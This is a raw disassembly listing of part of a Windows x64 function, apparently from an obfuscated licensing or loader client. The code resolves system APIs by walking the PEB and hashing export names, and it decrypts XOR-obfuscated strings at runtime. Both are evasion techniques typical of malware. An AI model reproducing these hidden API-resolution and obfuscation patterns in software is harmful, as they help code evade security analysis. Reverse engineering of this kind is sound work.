lea rcx, [rbp + 0x390]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x3a0], xmm0
mov byte [rbp + 0x390], 0
mov r8, qword [rbp + 0x1d0]
cmp r8, 0x10
jb 0x1400702ec
inc r8
mov rdx, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x1b8]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov r8, qword [rbp + 0x388]
cmp r8, 0x10
jb 0x140070326
inc r8
mov rdx, qword [rbp + 0x370]
lea rcx, [rbp + 0x370]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x370], 0
mov r8, qword [rbp + 0x1f0]
cmp r8, 0x10
jb 0x140070360
inc r8
mov rdx, qword [rbp + 0x1d8]
lea rcx, [rbp + 0x1d8]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
mov r8, qword [rbp + 0x368]
cmp r8, 0x10
jb 0x14007039a
inc r8
mov rdx, qword [rbp + 0x350]
lea rcx, [rbp + 0x350]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x360], xmm0
mov byte [rbp + 0x350], 0
mov r8, qword [rbp + 0x210]
cmp r8, 0x10
jb 0x1400703d4
inc r8
mov rdx, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x1f8]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x208], xmm0
mov byte [rbp + 0x1f8], 0
mov r8, qword [rbp + 0x348]
cmp r8, 0x10
jb 0x14007040e
inc r8
mov rdx, qword [rbp + 0x330]
lea rcx, [rbp + 0x330]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x340], xmm0
mov byte [rbp + 0x330], 0
lea rax, [rbp + 0x850]
mov qword [rsp + 0x50], rax
lea rdx, [rdi + 0x80]
lea rcx, [rbp + 0x850]
call fcn.1400581f0
mov rbx, rax
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp + 0x890]
call fcn.1400581f0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x948]
call fcn.140077590
nop
movdqa xmm0, xmmword [0x1400d0470]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x138], 1
cmp qword [rbp + 0x958], 0x10
jne 0x14007052d
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x128], al
inc rcx
cmp rcx, 0xf
jb 0x1400704a0
mov byte [rbp + 0x138], 0
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x137]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x310]
call fcn.14005a050
mov esi, 0x61f0000
mov dword [rsp + 0x34], esi
lea rdx, [rbp + 0x310]
cmp qword [rbp + 0x328], 0x10
cmovae rdx, qword [rbp + 0x310]
lea rcx, [rbp + 0x948]
cmp qword [rbp + 0x960], 0x10
cmovae rcx, qword [rbp + 0x948]
mov r8, qword [rbp + 0x958]
cmp r8, qword [rbp + 0x320]
jne 0x14007052d
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007052d
mov bl, 1
jmp 0x14007052f
xor bl, bl
bt esi, 0x13
jae 0x140070549
btr esi, 0x13
mov dword [rsp + 0x34], esi
lea rcx, [rbp + 0x310]
call fcn.140042b60
test bl, bl
je 0x140070741
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400705e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400705e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xcea6b5e1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400705e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400705c0
cmp r8d, 0x26cf52f0
je 0x1400705eb
test r9d, r9d
jne 0x1400705a0
mov rax, qword [rax]
jmp 0x140070570
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movdqa xmm0, xmmword [0x1400d0530]
movdqu xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [0x1400d0640]
movdqu xmmword [rbp + 0x290], xmm1
movdqa xmm0, xmmword [0x1400d05c0]
movdqu xmmword [rbp + 0x2a0], xmm0
movdqa xmm1, xmmword [0x1400d05e0]
movdqu xmmword [rbp + 0x2b0], xmm1
mov dword [rbp + 0x2c0], 0xcebbac
mov byte [rbp + 0x2c4], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x280], al
inc rcx
cmp rcx, 0x43
jb 0x140070660
mov byte [rbp + 0x2c4], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x280]
xor ecx, ecx
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070716
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070716
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe0fb1941
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070711
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400706f0
cmp r8d, 0xc4565fe1
je 0x14007071b
test r9d, r9d
jne 0x1400706d0
mov rax, qword [rax]
jmp 0x1400706a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov esi, dword [rsp + 0x34]
mov rdi, qword [rbp + 0xa8]
mov qword [rbp + 0x8e8], r13
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x8b0]
lea rdx, [rbp + 0x948]
lea rcx, [rbp + 0x8f8]
call fcn.14005dce0
nop
mov dword [rbp - 0x48], 0xd2d3faf3
mov dword [rbp - 0x44], 0xc1c4c3
mov byte [rbp - 0x40], 1
mov rcx, r13
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 7
jb 0x140070780
mov byte [rbp - 0x40], 0
lea r9, [rsp + 0x30]
lea r8, [rbp - 0x41]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x7a0]
call fcn.14005a050
or esi, 0x1800000
mov rbx, qword [rsp + 0x50]
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x1400707df
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x1400707e6
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x1400707fd
lea rdx, [rbp + 0x7a0]
mov rcx, rax
call fcn.140061960
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x998], xmm0
movdqa xmm1, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x9a8], xmm1
mov byte [rbp + 0x998], 0
bts esi, 0x16
mov dword [rsp + 0x34], esi
cmp byte [rbx], 3
jne 0x14007083d
mov rdx, qword [rbx + 8]
lea rax, [rbp + 0x998]
cmp rax, rdx
je 0x14007085a
jmp 0x140070840
mov rdx, r13
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14007084e
mov rdx, qword [rdx]
lea rcx, [rbp + 0x998]
call fcn.140042bc0
btr esi, 0x16
bts esi, 0x15
lea rcx, [rbp + 0x7a0]
call fcn.140042b60
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xa30]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0xa30]
call fcn.140060990
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x930], xmm1
mov qword [rbp + 0x940], r13
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400ca4c8
mov qword [rbp + 0x930], rax
lea rcx, [rax + 0x20]
mov qword [rbp + 0x940], rcx
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x938], rcx
mov rax, qword [rbp + 0x930]
sub rcx, rax
lea r8, [rbp + 0x948]
cmp qword [rbp + 0x960], 0x10
cmovae r8, qword [rbp + 0x948]
cmp qword [r14 + 0x18], 0x10
jb 0x1400708fe
mov r14, qword [r14]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x958]
mov rdx, qword [rdi + 0x50]
mov rcx, r14
call fcn.14007fad0
mov r12, qword [rbp + 0x938]
mov r14, qword [rbp + 0x930]
cmp r14, r12
je 0x14007099c
nop
movzx edi, byte [r14]
lea rdx, [0x14004ac60]
lea rcx, [rbp + 0xa40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0x30
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::fill_char____ptr64]
mov edx, 2
lea rcx, [rbp + 0x800]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov edx, edi
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc r14
cmp r14, r12
jne 0x140070930
mov rdi, qword [rbp + 0xa8]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0xa30]
call fcn.140079e70
cmp qword [rax + 0x18], 0x10
jb 0x1400709c0
mov rax, qword [rax]
nop dword [rax]
inc r15
cmp byte [rax + r15], 0
jne 0x1400709c0
lea rcx, [0x1400f6020]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1400f6020]
mov r8, qword [0x1400f6030]
cmp r8, r15
jne 0x1400709fd
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400709fd
xor bl, bl
jmp 0x1400709ff
mov bl, 1
mov rdx, qword [rbp + 0x488]
cmp rdx, 0x10
jb 0x140070a40
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070a3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400710ca
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x480], xmm0
mov byte [rbp + 0x470], 0
test bl, bl
je 0x140070c07
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov edx, 0xa0
lea rcx, [rbp + 0x140]
call fcn.140045070
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], __WSAFDIsSet
mov qword [rbp + 0x158], 0x9f
movups xmm0, xmmword [str.U2lnbmF0dXJlIGNoZWNrc3VtIGZhaWxlZC4gUmVxdWVzdCB3YXMgdGFtcGVyZWQgd2l0aCBvciBzZXNzaW9uIGVuZGVkIG1vc3QgbGlrZWx5LiAmIGVjaG86ICYgZWNobyBNZXNzYWdlOiA]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cf470]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cf480]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400cf490]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1400cf4a0]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [0x1400cf4b0]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [0x1400cf4c0]
movups xmmword [rax + 0x60], xmm0
movups xmm1, xmmword [0x1400cf4d0]
movups xmmword [rax + 0x70], xmm1
movups xmm0, xmmword [0x1400cf4e0]
movups xmmword [rax + 0x80], xmm0
mov byte [rax + 0x90], 0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x490]
call fcn.140068e90
nop
cmp qword [rax + 0x18], 0x10
jb 0x140070b33
mov rax, qword [rax]
lea r8, [rbp + 0x998]
mov rdx, rax
lea rcx, [rbp + 0x870]
call fcn.14005a490
mov rcx, rax
call fcn.14006a0c0
nop
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0x10
jb 0x140070b96
inc rdx
mov rcx, qword [rbp + 0x490]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070b91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140070b91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x4a0], xmm0
mov byte [rbp + 0x490], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x140070bee
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400710ca
call fcn.1400ca19c
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
lea rdx, [rbp + 0x8f8]
lea rcx, [rbp + 0x640]
call fcn.1400604d0
mov rdx, rax
mov rcx, rdi
call fcn.140074660
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rbp - 0x38], 0xc2c3eaed
mov dword [rbp - 0x34], 0xd7d0c7
mov byte [rbp - 0x30], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 7
jb 0x140070cd0
mov byte [rbp - 0x30], 0
lea r9, [rsp + 0x30]
lea r8, [rbp - 0x31]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x2f0]
call fcn.14005a050
or esi, 3
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x140070d27
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x140070d2e
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x140070d47
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call fcn.140061960
mov rcx, rax
jmp 0x140070d4c
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140070d9b
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070d96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400710ca
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x300], xmm0
mov byte [rbp + 0x2f0], 0
test bl, bl
je 0x1400710f2
mov dword [rbp + 0x28], 0xf2d7faf0
mov dword [rbp + 0x2c], 0xccd7d0c7
mov dword [rbp + 0x30], 0x100c9c9
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 0xa
jb 0x140070de0
mov byte [rbp + 0x33], 0
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x32]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x2d0]
call fcn.14005a050
nop
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x140070e35
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x140070e3c
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x140070e55
lea rdx, [rbp + 0x2d0]
mov rcx, rax
call fcn.140061960
mov rcx, rax
jmp 0x140070e5a
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140070ea9
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070ea4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400710ca
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2d0], 0
test bl, bl
je 0x140070ecf
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x18], 0xd2d3faed
mov dword [rbp + 0x1c], 0xcccacccb
mov word [rbp + 0x20], 0xc2
mov byte [rbp + 0x22], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x18], al
inc rcx
cmp rcx, 9
jb 0x140070ef0
mov byte [rbp + 0x22], 0
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x21]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x3b0]
call fcn.14005a050
nop
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x140070f45
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x140070f4c
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x140070f62
lea rdx, [rbp + 0x3b0]
mov rcx, rax
call fcn.140061960
jmp 0x140070f67
mov rax, qword [rsp + 0x50]
cmp byte [rax], 3
jne 0x140070f72
mov r8, qword [rax + 8]
jmp 0x140070f75
mov r8, r13
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x140070f82
mov rdx, qword [r8]
lea rcx, [rdi + 0x238]
mov r8, qword [r8 + 0x10]
call fcn.140042bc0
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0x10
jb 0x140070fd4
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070fcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400710ca
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x3c0], xmm0
mov byte [rbp + 0x3b0], 0
mov dword [rbp - 0x28], 0xc8d0efff
mov dword [rbp - 0x24], 0xcbc5cc
mov byte [rbp - 0x20], 1
mov rcx, r13
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 7
jb 0x140071000
mov byte [rbp - 0x20], 0
lea r9, [rsp + 0x30]
lea r8, [rbp - 0x21]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x410]
call fcn.14005a050
nop
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x140071055
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x14007105c
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x140071072
lea rdx, [rbp + 0x410]
mov rcx, rax
call fcn.140061960
jmp 0x140071077
mov rax, qword [rsp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.1400604d0
mov rdx, rax
mov rcx, rdi
call fcn.1400744b0
nop
mov rdx, qword [rbp + 0x428]
cmp rdx, 0x10
jb 0x1400710d6
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400710d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400710d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x420], xmm0
mov byte [rbp + 0x410], 0
jmp 0x1400717d3
mov dword [rbp + 8], 0xc0d6f1f7
mov dword [rbp + 0xc], 0xd3c0cace
mov dword [rbp + 0x10], 0x100d5c3
xor eax, eax
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x160], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x988], xmm0
lea ecx, [rax + 0x20]
call fcn.1400ca4c8
lea rcx, [rbp + 0x908]
mov qword [rbp + 0x988], rcx
mov qword [rbp + 0x990], rax
cmp byte [rbp + 0x13], 0
je 0x140071164
mov rdx, r13
nop word [rax + rax]
lea ecx, [rdx - 0x62]
xor byte [rbp + rdx + 8], cl
inc rdx
cmp rdx, 0xa
jb 0x140071150
mov byte [rbp + 0x13], 0
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x12]
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14005a050
or esi, 0xc0
mov rax, qword [rbp + 0x990]
mov qword [rbp + 0x990], r13
mov qword [rbp + 0x168], rax
mov dword [rbp - 0x18], 0xd2d3faf3
mov dword [rbp - 0x14], 0xc1c4c3
mov byte [rbp - 0x10], 1
mov rcx, r13
nop dword [rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 0x18], al
inc rcx
cmp rcx, 7
jb 0x1400711b0
mov byte [rbp - 0x10], 0
lea r9, [rsp + 0x30]
lea r8, [rbp - 0x11]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x430]
call fcn.14005a050
or esi, 0x300
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x14007120a
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x140071211
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x140071227
lea rdx, [rbp + 0x430]
mov rcx, rax
call fcn.140061960
jmp 0x14007122c
mov rax, qword [rsp + 0x50]
lea rdx, [rbp + 0x160]
mov rcx, rax
call fcn.1400615c0
movzx ebx, al
mov rdx, qword [rbp + 0x448]
cmp rdx, 0x10
jb 0x140071282
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007127d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007127d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x440], xmm0
mov byte [rbp + 0x430], 0
movzx edx, byte [rbp + 0x160]
lea rcx, [rbp + 0x168]
call fcn.1400694e0
test bl, bl
je 0x1400717d3
mov dword [rbp - 8], 0xcfd7f0fa
mov dword [rbp - 4], 0xc1c5ccce
mov word [rbp], 0x100
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 8
jb 0x1400712d0
mov byte [rbp + 1], 0
lea r9, [rsp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x450]
call fcn.14005a050
or esi, 0x3000
mov rdi, qword [rsp + 0x50]
movzx ecx, byte [rbp + 0x8f8]
test cl, cl
jne 0x14007132f
mov byte [rbp + 0x8f8], 1
call fcn.14005c720
mov qword [rbp + 0x900], rax
movzx ecx, byte [rbp + 0x8f8]
jmp 0x140071336
mov rax, qword [rbp + 0x900]
cmp cl, 1
jne 0x14007134d
lea rdx, [rbp + 0x450]
mov rcx, rax
call fcn.140061960
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x910], xmm0
mov r8, r13
mov qword [rbp + 0x920], r13
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x928], rbx
mov byte [rbp + 0x910], 0
bts esi, 0xf
mov dword [rsp + 0x34], esi
cmp byte [rdi], 3
jne 0x140071393
mov rdx, qword [rdi + 8]
lea rax, [rbp + 0x910]
cmp rax, rdx
je 0x1400713be
jmp 0x140071396
mov rdx, r13
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400713a4
mov rdx, qword [rdx]
lea rcx, [rbp + 0x910]
call fcn.140042bc0
mov rbx, qword [rbp + 0x928]
mov r8, qword [rbp + 0x920]
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x140071410
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400713fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400713fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ca19c
mov rbx, qword [rbp + 0x928]
mov r8, qword [rbp + 0x920]
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x460], xmm0
mov byte [rbp + 0x450], 0
lea rcx, [rbp + 0x910]
mov rdi, qword [rbp + 0x910]
cmp rbx, 0x10
cmovae rcx, rdi
test r8, r8
jne 0x140071684
lea rdx, [0x1400dd726]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140071684
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400714e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400714e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7eb97d4a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400714e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400714c0
cmp r8d, 0x6a3ed64d
je 0x1400714eb
test r9d, r9d
jne 0x1400714a0
mov rax, qword [rax]
jmp 0x140071470
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movdqa xmm0, xmmword [0x1400d05f0]
movdqu xmmword [rbp + 0x660], xmm0
